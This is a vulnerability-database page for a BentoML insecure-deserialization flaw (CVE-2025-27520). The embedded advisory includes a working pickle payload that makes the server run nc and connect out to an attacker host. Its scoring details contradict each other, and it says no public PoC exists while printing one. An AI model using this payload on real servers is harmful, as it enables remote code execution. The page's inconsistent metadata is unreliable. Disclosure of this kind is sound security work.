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CVE-2025-27520

BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

CVSS score

9.8

EPSS probability

%40.6

Risk score

4.0

Published

1 y ago

Patch status has not yet been verified

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Vulnerability description

DayBreach CVE AI Research

CVE-2025-27520 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.

### Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. ### Details It exists an unsafe code segment in `serde.py`: ```Python def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) ``` Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization. ### PoC Environment: - Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu 1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment. 1.1 Install BentoML (Server host: 10.98.36.123) : ` pip install -U bentoml` 1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) : ``` Python from __future__ import annotations import bentoml @bentoml.service( resources={"cpu": "4"} ) class Summarization: def __init__(self) -> None: import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] ``` 1.3 Run the service code (Server host: 10.98.36.123) : ``` Bash pip install torch transformers # additional dependencies for local run bentoml serve ``` 2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : `nc -lvvp 1234` 3. Send maliciously crafted request (Attack host: 10.98.36.121) : ``` Python import pickle import os import requests headers = {'Content-Type': 'application/vnd.bentoml+pickle'} class Evil: def __reduce__(self): return(os.system, ('nc 10.98.36.121 1234',)) payload = pickle.dumps(Evil()) requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers) ``` 4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. ![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85) ### Impact Remote Code Execution (RCE).

IMPACT: Affected Products and Software

Affected Products

The following products are affected by CVE-2025-27520 vulnerability. Where our threat engine knows the exact affected versions, they are listed below.

IDVENDORPRODUCTACTION
1pypibentoml View
Total affected vendors: 1|Products: 1

RED HAT CSAF/VEX: Product Impact Check

Red Hat has not yet published a CSAF/VEX impact record for this CVE. This does not mean “not affected”.

SCORING: CVSS from Multiple Sources

CVSS Scores

The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
9.8CVSS 3.x—Vector not publishedGitHub Advisory
0.0CVSS 4.0—Vector not publishedGitHub Advisory

Patch and Remediation Guide

Solution & Remediation Advisory

Patch status unknown

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Confirm the affected product and version against the source evidence above.
Restrict access to internet-facing services and apply network segmentation.
Until a patch is confirmed, follow the vendor advisory; do not read an unknown status as “no patch”.
Monitor server logs and network endpoints for signs of anomalous execution.

Public exploit and active exploitation status

Verified exploit intelligence

No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.

Weakness Classification and Attack Patterns (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2025-27520 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2025-27520 weaknesses.

Attack Vector and Accessibility

ExposureAğ üzerinden
PermissionsGerekmiyor
UserGerekmiyor

Official Sources and Advisories

CVSS Vector Radar Chart

9.8 / 10
Attack VectorNetworkComplexityLowPrivilegesNoneUser Interact.NoneConfidentialityLowIntegrityNoneAvailabilityHigh

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone required
User InteractionNone required
Confidentiality (Gizlilik)Low
Integrity (Bütünlük)None
Availability (Erişilebilirlik)High

Yama durumu bilinmiyor

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Weakness Type (CWE & CAPEC)

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CVE-2025-27520 · BentoML Allows Remote Code Execution (RCE)…